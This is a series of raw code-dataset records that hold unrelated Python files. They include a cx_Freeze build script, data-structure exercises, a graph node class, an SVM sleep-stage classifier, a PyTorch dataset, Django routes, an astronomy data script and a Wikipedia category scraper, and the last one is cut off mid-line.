\"testpath\", \"text_unidecode\", \"tornado\", \"traitlets\", \"urllib3\", \"virtualenv\", \"wcwidth\", \\\n    \"webencodings\", \"werkzeug\", \"widgetsnbextension\", \"xlsxwriter\", \"xlwt\", 'numpy.core._methods', \\\n    'numpy.lib.format', \"atexit\", \"re\"], \"include_files\": ['images/'], \\\n    \"excludes\": [\"gi\", \"opencv_python\", \"Pillow\", \"pypng\", \"python_dateutil\", \"pywin32\", \"pywinpty\", \"pyzmq\", \"sc_pylibs\", \"scikit_image\"]}\n# \"+mklnumutil\" erstattet med \"mkl\", \"numutil\"\n# fire siste i inkludes utgjør foreløpig ingen forskjell på feilmeldingene ved kjøring av fryst program\n# bindestreker erstattet med understreker\n#pywavelets erstattet med pywt\n\nbase = 'Win32GUI' if sys.platform=='win32' else None\n\n\nsetup(\n    name='CardioMiner',\n    version = '1.0',\n    description = 'CardioMiner-applikasjon',\n    options = {\"build_exe\": buildOptions},\n    executables = [Executable(\"Start.py\", base = base)]\n)\n","repo_name":"torank/bacheloroppgave","sub_path":"kode/CardioMiner/setup_cardiominer.py","file_name":"setup_cardiominer.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"7616339922","text":"# ASSIGNMENT 1\r\n# 1. Delete the elements in an linked list whose sum is equal to zero\r\nclass Node:\r\n    def __init__(self, data=None):\r\n        self.data = data\r\n        self.next = None\r\n\r\ndef delete_zero_sum(head):\r\n    # Calculate cumulative sum and store in a hash table\r\n    cumulative_sum = 0\r\n    sum_map = {}\r\n    curr = head\r\n\r\n    while curr:\r\n        cumulative_sum += curr.data\r\n\r\n        if cumulative_sum == 0:\r\n            # If cumulative sum is zero, set head to the next node\r\n            head = curr.next\r\n        elif cumulative_sum in sum_map:\r\n            # If cumulative sum already exists in the hash table,\r\n            # skip the nodes in between and update \"next\" pointers\r\n            sum_node = sum_map[cumulative_sum]\r\n            sum_node.next = curr.next\r\n        else:\r\n            sum_map[cumulative_sum] = curr\r\n\r\n        curr = curr.next\r\n\r\n    return head\r\n\r\ndef display_linked_list(head):\r\n    curr = head\r\n    while curr:\r\n        print(curr.data, end=\" \")\r\n        curr = curr.next\r\n    print()\r\n\r\n# Create a linked list manually for testing\r\nhead = Node(3)\r\nnode1 = Node(4)\r\nnode2 = Node(-7)\r\nnode3 = Node(2)\r\nnode4 = Node(-5)\r\nnode5 = Node(1)\r\n\r\nhead.next = node1\r\nnode1.next = node2\r\nnode2.next = node3\r\nnode3.next = node4\r\nnode4.next = node5\r\n\r\nprint(\"Original Linked List:\")\r\ndisplay_linked_list(head)\r\n\r\nhead = delete_zero_sum(head)\r\nprint(\"Linked List after deleting elements with zero sum:\")\r\ndisplay_linked_list(head)\r\n\r\n\r\n\r\n\r\n\r\n\r\n# 2.Reverse a linked list in groups of given size\r\nclass Node:\r\n    def __init__(self, data):\r\n        self.data = data\r\n        self.next = None\r\n\r\n\r\ndef reverseLinkedList(head, k):\r\n    if not head:\r\n        return None\r\n\r\n    prev = None\r\n    curr = head\r\n    next = None\r\n    count = 0\r\n\r\n    # Reverse the group of k nodes\r\n    while curr is not None and count < k:\r\n        next = curr.next\r\n        curr.next = prev\r\n        prev = curr\r\n        curr = next\r\n        count += 1\r\n\r\n    # Recursively call for the remaining nodes\r\n    if next is not None:\r\n        head.next = reverseLinkedList(next, k)\r\n\r\n    return prev\r\n\r\n\r\ndef printLinkedList(head):\r\n    curr = head\r\n    while curr is not None:\r\n        print(curr.data, end=\" \")\r\n        curr = curr.next\r\n    print()\r\n\r\n# Create a linked list: 1 -> 2 -> 3 -> 4 -> 5 -> 6 -> 7 -> 8 -> None\r\nhead = Node(1)\r\ncurrent = head\r\nfor i in range(2, 9):\r\n    newNode = Node(i)\r\n    current.next = newNode\r\n    current = current.next\r\n\r\nprint(\"Original Linked List:\")\r\nprintLinkedList(head)\r\n\r\nk = 3\r\nhead = reverseLinkedList(head, k)\r\n\r\nprint(\"Reversed Linked List in groups of\", k)\r\nprintLinkedList(head)\r\n\r\n\r\n# 3.Merge a linked list into another linked list at alternate positions\r\nclass Node:\r\n    def __init__(self, data):\r\n        self.data = data\r\n        self.next = None\r\n\r\n\r\ndef mergeLinkedLists(list1, list2):\r\n    if not list1:\r\n        return list2\r\n    if not list2:\r\n        return list1\r\n\r\n    curr1 = list1\r\n    next1 = curr1.next\r\n    curr2 = list2\r\n\r\n    while curr1 is not None and curr2 is not None:\r\n        next1 = curr1.next\r\n        curr1.next = curr2\r\n        curr2 = curr2.next\r\n        curr1.next.next = next1\r\n        curr1 = next1\r\n\r\n    if curr2 is not None:\r\n        curr1.next = curr2\r\n\r\n    return list1\r\n\r\n\r\ndef printLinkedList(head):\r\n    curr = head\r\n    while curr is not None:\r\n        print(curr.data, end=\" \")\r\n        curr = curr.next\r\n    print()\r\n\r\n\r\n# Example usage\r\n# Create the first linked list: 1 -> 2 -> 3 -> None\r\nlist1 = Node(1)\r\nlist1.next = Node(2)\r\nlist1.next.next = Node(3)\r\n\r\n# Create the second linked list: 4 -> 5 -> 6 -> 7 -> 8 -> None\r\nlist2 = Node(4)\r\nlist2.next = Node(5)\r\nlist2.next.next = Node(6)\r\nlist2.next.next.next = Node(7)\r\nlist2.next.next.next.next = Node(8)\r\n\r\nprint(\"List 1:\")\r\nprintLinkedList(list1)\r\n\r\nprint(\"List 2:\")\r\nprintLinkedList(list2)\r\n\r\nmerged_list = mergeLinkedLists(list1, list2)\r\n\r\nprint(\"Merged Linked List:\")\r\nprintLinkedList(merged_list)\r\n\r\n\r\n# 4.In an array, Count Pairs with given sum\r\ndef countPairsWithSum(arr, target):\r\n    counter = {}\r\n    pairCount = 0\r\n\r\n    for num in arr:\r\n        diff = target - num\r\n        if diff in counter:\r\n            pairCount += counter[diff]\r\n        if num in counter:\r\n            counter[num] += 1\r\n        else:\r\n            counter[num] = 1\r\n\r\n    return pairCount\r\n\r\n\r\n# Example usage\r\narr = [1, 5, 7, -1, 5]\r\ntarget = 6\r\n\r\npairCount = countPairsWithSum(arr, target)\r\n\r\nprint(\"Number of pairs with sum\", target, \"in the array:\", pairCount)\r\n\r\n\r\n# 5. Find duplicates in an array\r\ndef findDuplicates(arr):\r\n    seen = set()\r\n    duplicates = []\r\n\r\n    for num in arr:\r\n        if num in seen:\r\n            duplicates.append(num)\r\n        else:\r\n            seen.add(num)\r\n\r\n    return duplicates\r\n\r\n\r\n# Example usage\r\narr = [1, 2, 3, 4, 2, 5, 6, 3, 4]\r\nduplicates = findDuplicates(arr)\r\n\r\nprint(\"Duplicate elements in the array:\", duplicates)\r\n\r\n\r\n\r\n\r\n\r\n\r\n# 6.Find the Kth largest and Kth smallest number in an array\r\n\r\ndef findKthLargestAndSmallest(arr, K):\r\n    arr.sort()\r\n    kth_smallest = arr[K - 1]\r\n    kth_largest = arr[len(arr) - K]\r\n    return kth_smallest, kth_largest\r\n\r\n\r\n# Example usage\r\narr = [9, 4, 7, 1, 5, 2, 8, 3, 6]\r\nK = 3\r\nkth_smallest, kth_largest = findKthLargestAndSmallest(arr, K)\r\n\r\nprint(\"Kth Smallest Number:\", kth_smallest)\r\nprint(\"Kth Largest Number:\", kth_largest)\r\n\r\n\r\n# 7.Move all the negative elements to one side of the array\r\nimport heapq\r\n\r\n\r\ndef findKthLargestAndSmallest(arr, K):\r\n    min_heap = []\r\n\r\n    for num in arr:\r\n        if len(min_heap) < K:\r\n            heapq.heappush(min_heap, num)\r\n        else:\r\n            if num > min_heap[0]:\r\n                heapq.heappop(min_heap)\r\n                heapq.heappush(min_heap, num)\r\n\r\n    kth_smallest = min_heap[0]\r\n    kth_largest = heapq.nlargest(K, arr)[-1]\r\n\r\n    return kth_smallest, kth_largest\r\n\r\n\r\n# Example usage\r\narr = [9, 4, 7, 1, 5, 2, 8, 3, 6]\r\nK = 3\r\nkth_smallest, kth_largest = findKthLargestAndSmallest(arr, K)\r\n\r\nprint(\"Kth Smallest Number:\", kth_smallest)\r\nprint(\"Kth Largest Number:\", kth_largest)\r\n\r\n\r\n# 8.Reverse a string using a stack data structure\r\ndef reverseString(input_str):\r\n    stack = []\r\n    reversed_str = \"\"\r\n\r\n    # Push characters onto the stack\r\n    for char in input_str:\r\n        stack.append(char)\r\n\r\n    # Pop characters from the stack to reverse the string\r\n    while len(stack) > 0:\r\n        reversed_str += stack.pop()\r\n\r\n    return reversed_str\r\n\r\n\r\n# Example usage\r\ninput_str = \"Hello, World!\"\r\nreversed_str = reverseString(input_str)\r\n\r\nprint(\"Input String:\", input_str)\r\nprint(\"Reversed String:\", reversed_str)\r\n\r\n\r\n\r\n\r\n# 9. Evaluate a postfix expression using stack\r\ndef evaluatePostfix(expression):\r\n    stack = []\r\n\r\n    # Iterate through each character in the expression\r\n    for char in expression:\r\n        if char.isdigit():\r\n            # If the character is a digit, convert it to an integer and push it onto the stack\r\n            stack.append(int(char))\r\n        else:\r\n            # If the character is an operator, pop the top two operands from the stack and apply the operator\r\n            operand2 = stack.pop()\r\n            operand1 = stack.pop()\r\n\r\n            if char == \"+\":\r\n                result = operand1 + operand2\r\n            elif char == \"-\":\r\n                result = operand1 - operand2\r\n            elif char == \"*\":\r\n                result = operand1 * operand2\r\n            elif char == \"/\":\r\n                result = operand1 / operand2\r\n\r\n            # Push the result back onto the stack\r\n            stack.append(result)\r\n\r\n    # The final result will be left on the stack\r\n    return stack.pop()\r\n\r\n\r\n# Example usage\r\nexpression = \"6523+8*+3+*\"\r\nresult = evaluatePostfix(expression)\r\n\r\nprint(\"Postfix Expression:\", expression)\r\nprint(\"Result:\", result)\r\n\r\n\r\n\r\n# 10.Implement a queue using the stack data structure\r\nclass Queue:\r\n    def __init__(self):\r\n        self.enqueue_stack = []\r\n        self.dequeue_stack = []\r\n\r\n    def enqueue(self, item):\r\n        # Push the item onto the enqueue stack\r\n        self.enqueue_stack.append(item)\r\n\r\n    def dequeue(self):\r\n        # If the dequeue stack is empty, transfer elements from enqueue stack to dequeue stack\r\n        if not self.dequeue_stack:\r\n            while self.enqueue_stack:\r\n                self.dequeue_stack.append(self.enqueue_stack.pop())\r\n\r\n        # Pop the element from the dequeue stack\r\n        if self.dequeue_stack:\r\n            return self.dequeue_stack.pop()\r\n        else:\r\n            # If both stacks are empty, the queue is empty\r\n            return None\r\n\r\n    def is_empty(self):\r\n        # The queue is empty if both stacks are empty\r\n        return len(self.enqueue_stack) == 0 and len(self.dequeue_stack) == 0\r\n\r\n    def size(self):\r\n        # The size of the queue is the sum of the sizes of both stacks\r\n        return len(self.enqueue_stack) + len(self.dequeue_stack)\r\n# Create a new queue\r\nqueue = Queue()\r\n\r\n# Enqueue elements\r\nqueue.enqueue(1)\r\nqueue.enqueue(2)\r\nqueue.enqueue(3)\r\n\r\n# Dequeue elements\r\nprint(queue.dequeue())  # Output: 1\r\nprint(queue.dequeue())  # Output: 2\r\n\r\n# Check if the queue is empty\r\nprint(queue.is_empty())  # Output: False\r\n\r\n# Get the size of the queue\r\nprint(queue.size())  # Output: 1\r\n\r\n\r\n","repo_name":"pavithrah01/DSA1ASS","sub_path":"ADVDSA.py","file_name":"ADVDSA.py","file_ext":"py","file_size_in_byte":9257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"12244974423","text":"import uuid\n\nclass MyceliumNode:\n    identifiers = {}\n    properties = {}\n    parent_node_id = None\n    child_node_ids = []\n    relationships = None\n    id = None\n\n    def __init__(self):\n        self.id = uuid.uuid4()\n        self.identifiers = {}\n        self.properties = {}\n        self.parent_node_id = None\n        self.relationships = relationsShipByType()\n\n    def getid(self):\n        return self.id\n\n    def getIdentifiers(self):\n        return self.identifiers\n\n    def addChildId(self, child_id):\n        if child_id not in self.child_node_ids:\n            self.child_node_ids.append(child_id)\n\n    def getParentNodeId(self):\n        return self.parent_node_id\n\n    def setParentNodeId(self, parent_node_id):\n        self.parent_node_id = parent_node_id\n\n    def addIdentifier(self, identifier_type, identifier_value):\n        self.identifiers[identifier_type] = identifier_value\n\n    def getIdentifier(self, identifier_type):\n        if identifier_type in self.identifiers.keys():\n            return self.identifiers[identifier_type]\n        else:\n            return None\n\n    def addProperty(self, property_value, property_type):\n        self.properties[property_type] = property_value\n\n    def getProperty(self, property_type):\n        if property_type in self.properties.keys():\n            return self.properties[property_type]\n        else:\n            return None\n\n    def addRelated(self,realtionship_type, related_id):\n        self.relationships.addRelated(realtionship_type, related_id)\n\n\n    def print(self):\n        print(\"UUID: %s Identifier: %s\" %(format(self.id), format(self.identifiers)))\n        self.relationships.print()\n\n\nclass relationsShipByType:\n    relationshipdict = {}\n\n    def __init__(self):\n        self.relationshipdict = {}\n\n    def getRelatedByList(self, realtionship_type):\n        if realtionship_type in self.relationshipdict:\n            return self.relationshipdict[realtionship_type]\n        return None\n\n    def addRelated(self, realtionship_type, related_id):\n        if realtionship_type in self.relationshipdict:\n            related_ids = self.relationshipdict[realtionship_type]\n            if related_id not in related_ids:\n                related_ids.append(related_id)\n                self.relationshipdict[realtionship_type] = related_ids\n        else:\n            related_ids = []\n            related_ids.append(related_id)\n            self.relationshipdict[realtionship_type] = related_ids\n\n    def print(self):\n        for k in self.relationshipdict.keys():\n            print(\"%s, %s\" %(k, format(self.relationshipdict[k])))\n\n\n\nclass MyceliumNodeList:\n    nodeList = None\n\n    def __init__(self):\n        self.nodeList = {}\n\n    def addNode(self, identifier_type, identifier_value):\n        #print(\"add %s,%s\" %(identifier_type, identifier_value))\n        node_id = self.findNode(identifier_type, identifier_value)\n        if node_id is None:\n            node = MyceliumNode()\n            node.addIdentifier(identifier_type, identifier_value)\n            self.nodeList[node.getid()] = node\n        else:\n            node = self.nodeList[node_id]\n            node.addIdentifier(identifier_type, identifier_value)\n            self.nodeList[node.getid()] = node\n        return node.getid()\n\n\n    def updateNode(self, identifier_type, identifier_value, some_other_identifier_type, some_other_identifier_value):\n        #print(\"add other Identifier %s,%s ____ %s,%s\" %(identifier_type, identifier_value, some_other_identifier_type, some_other_identifier_value))\n        node_id = self.findNode(identifier_type, identifier_value)\n\n        same_node_id = self.findNode(some_other_identifier_type, some_other_identifier_value)\n        #print(node_id, same_node_id)\n        if node_id is None and same_node_id is None:\n            node = MyceliumNode()\n            node.addIdentifier(identifier_type, identifier_value)\n            node.addIdentifier(some_other_identifier_type, some_other_identifier_value)\n            self.nodeList[node.getid()] = node\n            return node.getid()\n        elif same_node_id is None:\n            node = self.nodeList.get(node_id)\n            node.addIdentifier(some_other_identifier_type, some_other_identifier_value)\n            self.nodeList[node.getid()] = node\n            return node.getid()\n        elif node_id is None:\n            node = self.nodeList.get(same_node_id)\n            node.addIdentifier(identifier_type, identifier_value)\n            self.nodeList[node.getid()] = node\n            return node.getid()\n\n\n\n    def addRelatedNode(self, identifier_type, identifier_value, relationship_type, child_identifier_type, child_identifier_value):\n        #print(\"add Related Node %s,%s __[%s]__ %s,%s\" %(identifier_type, identifier_value, relationship_type, child_identifier_type, child_identifier_value))\n        node_id = self.findNode(identifier_type, identifier_value)\n        child_node_id = self.findNode(child_identifier_type, child_identifier_value)\n        node = self.nodeList[node_id]\n        node.addRelated(relationship_type,  child_node_id)\n        self.nodeList[node_id] = node\n\n\n\n    def findNode(self, identifier_type, identifier_value):\n        if len(self.nodeList) == 0:\n            return None\n        else:\n            for n in self.nodeList.keys():\n                node = self.nodeList.get(n)\n                if node.getIdentifier(identifier_type) == identifier_value:\n                    return n\n        return None\n","repo_name":"leo-monus/python-mycelium","sub_path":"MyceliumNode.py","file_name":"MyceliumNode.py","file_ext":"py","file_size_in_byte":5442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"32050801513","text":"import numpy as np\r\nfrom sklearn.svm import SVC\r\nfrom sklearn.metrics import confusion_matrix\r\n\r\ndef getModel_3_classes(expName, randomSeedNo, pdfeatTrainWLabel, pdfeatValWLabel, id_of_training_dataset, id_of_test_dataset):\r\n    # Step 1 :: Load trraining/validation vectors (with labels)\r\n    pdfeatT = pdfeatTrainWLabel\r\n    pdfeatV = pdfeatValWLabel\r\n\r\n    # Step 4 :: Extract sleep and awake and rem (with random seed)\r\n    if id_of_training_dataset == 1:  # Dataset provided by CGMH\r\n        W = np.where(pdfeatT[:, -1] == 11)[0]\r\n        R = np.where(pdfeatT[:, -1] == 12)[0]\r\n        S = np.where((pdfeatT[:, -1] != 11) & (pdfeatT[:, -1] != 12))[0]\r\n    elif id_of_training_dataset == 2:  # Dataset \"Dreams\"\r\n        W = np.where(pdfeatT[:, -1] == 5)[0]\r\n        R = np.where(pdfeatT[:, -1] == 4)[0]\r\n        S = np.where((pdfeatT[:, -1] != 5) & (pdfeatT[:, -1] != 4))[0]\r\n    else:  # Dataset \"UCD\"\r\n        W = np.where(pdfeatT[:, -1] == 0)[0]\r\n        R = np.where(pdfeatT[:, -1] == 1)[0]\r\n        S = np.where((pdfeatT[:, -1] != 0) & (pdfeatT[:, -1] != 1))[0]\r\n\r\n    np.random.seed(randomSeedNo)\r\n    fnW = int(1.1 * len(W))\r\n    rand_per_ind = np.random.permutation(len(S))[:fnW]\r\n    pdfeatW = pdfeatT[W]\r\n    pdfeatR = pdfeatT[R]\r\n    pdfeatS = pdfeatT[S[rand_per_ind]]\r\n    pdfeatT = np.concatenate((pdfeatW, pdfeatR, pdfeatS), axis=0)\r\n\r\n    # Step 5 :: Deteremine true label of training dataset\r\n    labelW = (pdfeatT[:, -1] == 11).astype(int)\r\n    labelR = (pdfeatT[:, -1] == 12).astype(int)\r\n    label = 2 * labelW + labelR\r\n\r\n    # Label modification for testing dataset\r\n    if id_of_test_dataset == 1:  # CGMH\r\n        TruthLabW = (pdfeatV[:, -1] == 11).astype(int)\r\n        TruthLabR = (pdfeatV[:, -1] == 12).astype(int)\r\n    elif id_of_test_dataset == 2:  # Dreams\r\n        TruthLabW = (pdfeatV[:, -1] == 5).astype(int)\r\n        TruthLabR = (pdfeatV[:, -1] == 4).astype(int)\r\n    else:  # UCD\r\n        TruthLabW = (pdfeatV[:, -1] == 0).astype(int)\r\n        TruthLabR = (pdfeatV[:, -1] == 1).astype(int)\r\n\r\n    TruthLab = 2 * TruthLabW + TruthLabR\r\n\r\n    # Step 6 :: Generate taining model (for RT only)\r\n    svmModel = SVC()\r\n    svmModel.fit(pdfeatT[:, :-1], label)\r\n    labelV = svmModel.predict(pdfeatV[:, :-1])\r\n\r\n    # Step 7 :: Compute the confusion matrix\r\n    confMat = confusion_matrix(TruthLab, labelV)\r\n    tp = np.diag(confMat)\r\n    fp = np.sum(confMat, axis=0) - tp\r\n    fn = np.sum(confMat, axis=1) - tp\r\n\r\n    # Step 8 :: Compute the accuracy, precision, recall, and F1 score\r\n    accuracy = np.mean(tp / (tp + fp + fn))\r\n    precision = np.mean(tp / (tp + fp))\r\n    recall = np.mean(tp / (tp + fn))\r\n    f1_score = (2 * precision * recall) / (precision + recall)\r\n\r\n    return accuracy, precision, recall, f1_score\r\n\r\n# Example usage\r\nexpName = \"Example Experiment\"\r\nrandomSeedNo = 42\r\npdfeatTrainWLabel = np.array([[1, 2, 3, 4, 5], [6, 7, 8, 9, 10]])\r\npdfeatValWLabel = np.array([[11, 12, 13, 14, 15], [16, 17, 18, 19, 20]])\r\nid_of_training_dataset = 1\r\nid_of_test_dataset = 2\r\n\r\naccuracy, precision, recall, f1_score = getModel_3_classes(expName, randomSeedNo, pdfeatTrainWLabel, pdfeatValWLabel, id_of_training_dataset, id_of_test_dataset)\r\n\r\nprint(\"Accuracy:\", accuracy)\r\nprint(\"Precision:\", precision)\r\nprint(\"Recall:\", recall)\r\nprint(\"F1 Score:\", f1_score)\r\n","repo_name":"Dintrioh/Faze-sna-seminar","sub_path":"Table 1_System Normalization.py","file_name":"Table 1_System Normalization.py","file_ext":"py","file_size_in_byte":3304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"27466498132","text":"import json\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport os\nfrom torch.utils.data import Dataset,DataLoader\nfrom PIL import Image\n\nclass scDGN(Dataset):\n\n    def __init__(self, root, user_id, mode, transform = None):\n        super(scDGN, self).__init__()\n        self.mode = mode\n        self.transform = transform\n        self.user_id = user_id\n        if self.mode == 'train' or self.mode == 'val':\n            self.frac_train_val = 0.1\n            self.file_path = root + 'train/'\n            self.filename = os.listdir(self.file_path)[0]\n\n        else:\n            self.file_path = root + 'test/'\n            self.filename = os.listdir(self.file_path)[0]\n\n        with open(self.file_path + self.filename, 'r') as inf:\n            cdata = json.load(inf)\n    \n        if self.mode == 'train':\n            self.num_samples = int(cdata['num_samples'][self.user_id] * (1 - self.frac_train_val))\n        elif self.mode == 'val':\n            self.num_samples = cdata['num_samples'][self.user_id] - int(cdata['num_samples'][self.user_id] * (1 - self.frac_train_val))\n        elif self.mode == 'test':\n            self.num_samples = cdata['num_samples'][self.user_id]\n            \n    def __getitem__(self, index):\n        if self.mode == 'train':\n            with open(self.file_path + self.filename, 'r') as inf:\n                cdata = json.load(inf)\n            user_name = cdata['users'][self.user_id]\n            user_X = cdata['user_data'][user_name]['X'][0:self.num_samples][index]\n            user_y = cdata['user_data'][user_name]['y'][0:self.num_samples][index]\n            \n        elif self.mode == 'val':\n            with open(self.file_path + self.filename, 'r') as inf:\n                cdata = json.load(inf)\n            user_name = cdata['users'][self.user_id]\n            user_X = cdata['user_data'][user_name]['X'][-self.num_samples:][index]\n            user_y = cdata['user_data'][user_name]['y'][-self.num_samples:][index]\n        \n        else:\n            with open(self.file_path + self.filename, 'r') as inf:\n                cdata = json.load(inf)\n            user_name = cdata['users'][self.user_id]\n            user_X = cdata['user_data'][user_name]['X'][index]\n            user_y = cdata['user_data'][user_name]['y'][index]\n        \n        user_X = np.array(user_X).astype('float32')\n        return user_X, user_y\n\n    def __len__(self):\n        return self.num_samples","repo_name":"jqwenchen/PFL4CellTypeClassification","sub_path":"scDGN.py","file_name":"scDGN.py","file_ext":"py","file_size_in_byte":2407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"840722189","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n    path('', views.home, name='home'),\n\n    path('movies/', views.index, name='index'),\n    path('movies/<int:movie_id>/', views.detail, name='detail'),\n    path('movies/<int:movie_id>/rate/', views.rate, name='rate'),\n\n    path('movies/create/', views.create, name='create'),\n    path('movies/new_movie', views.new_movie, name='new_movie'),\n    path('movies/<int:movie_id>/delete/', views.delete, name='delete'),\n    path('movies/suggestions/', views.suggested, name='create_from_api'),\n    \n    path('about/', views.about, name='about'),\n]","repo_name":"panagiotisbellias/e-movies-app","sub_path":"movies_app/movies/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"41713981085","text":"import numpy as np\r\n\r\nimport autolens as al\r\nimport autolens.plot as aplt\r\n\r\ndata = al.Array2D.from_fits(\r\n    file_path=\"dataset/cosmology/data_in.fits\", pixel_scales=0.05\r\n)\r\n\r\nmask = al.Mask2D.circular(\r\n    shape_native=data.shape_native, pixel_scales=data.pixel_scales, radius=3.0\r\n)\r\n\r\nzoom_shape = mask.zoom_shape_native\r\n\r\ndata = data.apply_mask(mask=mask)\r\ndata = data.resized_from(new_shape=zoom_shape)\r\n\r\nnp.save(file=\"dataset/cosmology/data.npy\", arr=data.native)\r\n\r\noutput = aplt.Output(path=\"dataset/cosmology\", filename=\"data\", format=\"png\")\r\n\r\narray_plotter = aplt.Array2DPlotter(\r\n    array=data, mat_plot_2d=aplt.MatPlot2D(output=output)\r\n)\r\narray_plotter.figure_2d()\r\n\r\n\r\nnoise_map = al.Array2D.from_fits(\r\n    file_path=\"dataset/cosmology/noise_map_in.fits\", pixel_scales=0.05\r\n)\r\n\r\nnoise_map = noise_map.apply_mask(mask=mask)\r\nnoise_map = noise_map.resized_from(new_shape=zoom_shape)\r\n\r\nnp.save(file=\"dataset/cosmology/noise_map.npy\", arr=noise_map.native)\r\n\r\noutput = aplt.Output(path=\"dataset/cosmology\", filename=\"noise_map\", format=\"png\")\r\n\r\narray_plotter = aplt.Array2DPlotter(\r\n    array=noise_map, mat_plot_2d=aplt.MatPlot2D(output=output)\r\n)\r\narray_plotter.figure_2d()\r\n\r\n\r\npsf = al.Kernel2D.from_fits(\r\n    file_path=\"dataset/cosmology/psf_in.fits\", hdu=0, pixel_scales=0.05\r\n)\r\n\r\npsf = psf.resized_from(new_shape=(7, 7))\r\n\r\nnp.save(file=\"dataset/cosmology/psf.npy\", arr=psf.native)\r\n\r\noutput = aplt.Output(path=\"dataset/cosmology\", filename=\"psf\", format=\"png\")\r\n\r\narray_plotter = aplt.Array2DPlotter(\r\n    array=psf, mat_plot_2d=aplt.MatPlot2D(output=output)\r\n)\r\narray_plotter.figure_2d()\r\n\r\n\r\nmask = al.Mask2D.circular(\r\n    shape_native=(121, 121), pixel_scales=data.pixel_scales, radius=3.0\r\n)\r\n\r\n\r\ngrid = al.Grid2D.from_mask(mask=mask)\r\n\r\nnp.save(file=\"dataset/cosmology/grid.npy\", arr=grid.native)\r\n","repo_name":"Jammy2211/autofit_workspace_test","sub_path":"dataset/cosmology/make_for_example.py","file_name":"make_for_example.py","file_ext":"py","file_size_in_byte":1836,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"5881833394","text":"from sklearn.metrics.pairwise import pairwise_distances\nimport pandas as pd\nimport numpy as np\nimport re\nimport requests\nimport psycopg2 as pg2\nfrom psycopg2.extras import RealDictCursor\nimport wikipedia\nfrom spacy.en import STOP_WORDS\nfrom spacy.en import English\nfrom datetime import datetime\n\nimport pickle\n\nnlp = English()\ntime_of_one_grab = .661189 ## seconds\n\n\ndef get_json( search_term, query):\n    r = requests.get( query)  ## request HTTP results\n    response = r.json()\n    pageinfo = response['query']['pages']\n    if isinstance( search_term, str):\n        \n        pageid = list(pageinfo.keys())[0]\n        text = pageinfo[pageid]['extract']\n    elif isinstance( search_term, int):\n        pageid = str(search_term)\n        text = pageinfo[pageid]['extract']\n        \n    return text, pageid\n    \n\ndef get_article( search_term ):# title or page id, Capitalization ignored\n    base_url = 'https://en.wikipedia.org/w/api.php'\n    if isinstance( search_term, str):\n        #search_term = format_search( search_term)\n        tag = 'titles={}'.format( search_term)\n    elif isinstance( search_term, int):\n        tag = 'pageids={}'.format( search_term)\n    else:\n        print( 'Invalid search term...')\n        return ''\n\n    action_tag = \"?action=query&prop=extracts&explaintext&{}&format=json\".format( tag) \n    query = base_url + action_tag\n    \n    article_text, pageid = get_json( search_term, query)\n    \n    clean_article_text = cleaner( article_text)\n    \n    return clean_article_text, pageid ## applied cleaner\n\ndef format_search( category):\n    category_query = re.sub( '\\s', '+', category.lower())\n    return category_query\n\ndef format_query(category, *ptype ):\n    '''Category should be provided as a string,  ptype may be page, subcat, or file'''\n    categoryF = format_search(category)\n    \n    ptype_dict = {'page':'0', 'subcat':'14','file':'6'}\n    if len( ptype) < 2:\n        nstype = ptype_dict[ ptype]\n        #print( 'single' + nstype)\n    else:\n        p1, p2 = ptype\n        ptype = p1 + \"|\" + p2\n        nstype = ptype_dict[ p1 ] + \"|\" + ptype_dict[ p2 ]\n    base_url = 'https://en.wikipedia.org/w/api.php'\n    action_tag = \"?action=query&list=categorymembers&cmlimit=max\" ## fetch all category members (pages, subcategories)\n    category_tag = '&cmtitle=Category:{}&cmtype={}&cmnamespace={}&format=json'.format( categoryF, ptype, nstype) ## append category to cat_tag\n    query = base_url + action_tag + category_tag# + parameters_tag ## concatenate base_url with request tags\n    return query\n\ndef request_elements( category, *ptype, tag = False):\n    query = format_query( category, *ptype)\n    \n    r = requests.get( query)  ## request HTTP results\n    response = r.json()\n    try:\n        elements_df = pd.DataFrame( response['query']['categorymembers'])\n        if tag:\n            elements_df['subcategory'] = tag\n        return elements_df\n    except:\n        return pd.DataFrame()  ## Empty category\n    \n## Clean and Working\ntabulate = lambda x, mod: '\\t'*((3-x) + mod)\ndef get_pages( category, depth=3, category_dict= {}, first_run = True  ):  ## Restrixt depth to level 4\n    category_pages_df = request_elements( category, 'page', 'subcat', tag = category)\n    if first_run:\n        category_dict.clear()\n    if category_pages_df.empty:  ## if category page is empty return empty dictionary\n        return category_dict\n    else:  # otherwise, lets separate the articles and sub-categories\n        cat_mask = category_pages_df.title.str.contains( 'Category:')\n        category_df = category_pages_df[ cat_mask].copy()       \n        pages_df = category_pages_df[~cat_mask].copy()  ## Articles listed under category\n        if category_df.empty:   ## IF the category has NO sub-categories, store the pages_df and move on\n            pages_df.loc[:, 'category'] = category\n            category_dict[category] = pages_df\n            return category_dict \n        else:  ## Map sub-categories to a list, create a list to store dataframes for each nested category\n            sub_categories = category_df.title.str.replace( 'Category:', '').tolist()  \n            category_dict[category] = []\n            category_dict[category].append(pages_df)\n            ## For each sub-category, add pages from subcategories to their parent category list of pages_dfs\n            for i, subcat in enumerate(sub_categories):  \n                if depth < 0:\n                    break\n                else:\n                    category_dict = get_pages( subcat, depth - 1, first_run = False)\n                    try:\n                        if type( category_dict[subcat]) is list: ## subcat has nested categories so its a lit \n                            pages_df_from_category = pd.concat( category_dict[subcat] )  ## Original, keep for reference         \n                            pages_df_from_category.loc[:,'category'] = subcat ## Rename the category column to be uniform as super-category\n                            category_dict[category].append(pages_df_from_category  ) \n                        else:\n                            category_dict[category].append( category_dict[subcat] )\n                    except:         \n                        continue\n            try:\n                category_dict[category] = pd.concat( category_dict[category])\n                category_dict[category]['category'] = category\n                category_dict[category] = 